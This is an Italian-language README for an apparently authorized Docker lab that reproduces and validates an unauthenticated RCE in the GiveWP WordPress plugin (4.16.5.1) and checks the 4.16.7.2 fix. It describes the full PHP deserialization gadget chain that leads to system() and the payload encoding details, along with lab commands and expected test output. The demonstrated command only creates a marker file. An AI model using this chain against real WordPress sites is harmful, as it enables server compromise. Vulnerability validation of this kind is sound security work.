
# Laboratorio Docker autorizzato e PoC pulito per la validazione della RCE CVE-2026-82222 in GiveWP 4.16.5.1 e della correzione 4.16.7.2.
Materiale di ricerca sulla sicurezza per riprodurre e validare CVE-2026-82222 in un laboratorio Docker isolato.
Per il PoC RCE diretto e la scansione URL usa CVE-2026-8222-RCE.py
Stato: dimostrato nel laboratorio fornito
GiveWP 4.16.5.1 consente a un attaccante inizialmente non autenticato di persistere un grafo di oggetti PHP, riattivarlo tramite la gestione delle sessioni di GiveWP ed eseguire un comando marker fisso come utente web-server di WordPress.
Risultato positivo testato:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG creato da www-data
Il risultato end-to-end è stato inoltre riprodotto contro il sorgente GiveWP 4.16.5.1 pulito e non strumentato. GiveWP 4.16.7.2 ha bloccato il vettore HTTP nella configurazione testata e ha bloccato indipendentemente il gadget terminale durante un controllo diretto.
Questo dimostra l'esecuzione di comandi all'interno del container WordPress. Non dimostra accesso root, fuga dal container, movimento laterale o compromissione dell'host.
Usa questo repository solo su sistemi di tua proprietà o su cui sei esplicitamente autorizzato a testare.
Il PoC fornito è intenzionalmente limitato:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.Il test HTTP crea un utente donatore usa-e-getta, metadati e righe di sessione GiveWP. Usa il comando di reset incluso dopo il test.
Requisiti:
curlunzipsha256sum o shasumdownloads.wordpress.org per gli archivi ufficiali del pluginEsegui la matrice completa vulnerabile/patchata:
./lab verify
Il comando:
ProviderForwarder patchato rifiuta il callable stringa.Il laboratorio patchato rimane in esecuzione alla fine. Rimuovilo con:
./lab reset
Per usare un'altra porta loopback:
LAB_PORT=8099 ./lab verify
Il controllo vulnerabile deve terminare con evidenza terminale concreta:
[PASS] E1: registrazione non autenticata ha emesso cookie di autenticazione
[PASS] E3: grafo serializzato persistito nel proprio last_name
[PASS] E4: nonce del modulo di donazione ottenuto
[PASS] E5: scrittura sessione raggiunta post-sink HTTP status=500 atteso
[PASS] E6: trigger di lettura/distruzione sessione completato
marker presente e di proprietà dell'utente web WordPress
RISULTATO: CONTROLLO VULNERABILE CONFERMATO
Il controllo patchato deve mostrare:
[PASS] P1: gate di registrazione patchato ha bloccato il cookie di autenticazione
DIRECT_MARKER=absent
marker HTTP assente e gadget terminale diretto bloccato
RISULTATO: CONTROLLO PATCHATO CONFERMATO
Un HTTP 500, payload memorizzato, eccezione o hit del rilevatore senza il marker non viene accettato come prova di RCE.
Avvia e testa la release vulnerabile:
./lab start vulnerable
./lab test
Avvia e testa la release patchata:
./lab start patched
./lab test
Ispeziona lo stato corrente:
./lab status
Rimuovi container, volumi, utenti di test, sessioni e stato del marker:
./lab reset
Gli ZIP del plugin in cache e gli asset estratti vengono conservati per riesecuzioni più veloci. Rimuovi anche quegli asset generati esatti con:
./lab reset --purge-assets
| Versione | Valutazione |
|---|---|
| GiveWP 4.16.5.1 | RCE riprodotta end-to-end |
| GiveWP 4.16.6–4.16.7.1 | Segnalate come interessate; non riprodotte singolarmente qui |
| GiveWP 4.16.7.2 | Controlli negativi patchati riprodotti |
| Release successive | Non testate singolarmente; aggiorna all'ultima release supportata |
L'advisory pubblico identifica le release fino alla 4.16.7.1 come interessate. Questo repository dimostra direttamente solo le due versioni nella sua matrice di test positivo/negativo.
Riferimenti:
Lo sfruttamento combina diversi comportamenti:
Give\Helpers\Utils::maybeSafeUnserialize() usa
allowed_classes => false, producendo __PHP_Incomplete_Class, ma una successiva
serializzazione preserva i nomi e le proprietà delle classi originali.maybe_unserialize() senza restrizioni riattiva le classi incluse.system().Sono richieste quattro barre rovesciate letterali del namespace nel vettore HTTP. I due
passaggi di stripping effettivi le riducono 4 -> 2 -> 1. Il payload è privo di NUL,
e PHP 8.1.30 è stato verificato per idratare il nome serializzato semplice per la
proprietà privata Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Grafo controllato dall'attaccante:
TCPDF
├── file_id = identificatore univoco della richiesta
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = comando marker fisso
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
La transizione nascosta critica è il dispatch implicito di IteratorAggregate
di PHP. TCPDF::$imagekeys è non tipizzato, quindi assegnare una Session Symfony
fa sì che foreach invochi Session::getIterator().
Il comando marker viene eseguito prima che Symfony applichi il tipo di ritorno
getAttributeBag(): AttributeBagInterface. Il conseguente TypeError e HTTP 500
sono effetti post-sink.
Il grafo candidato rifiutato usava: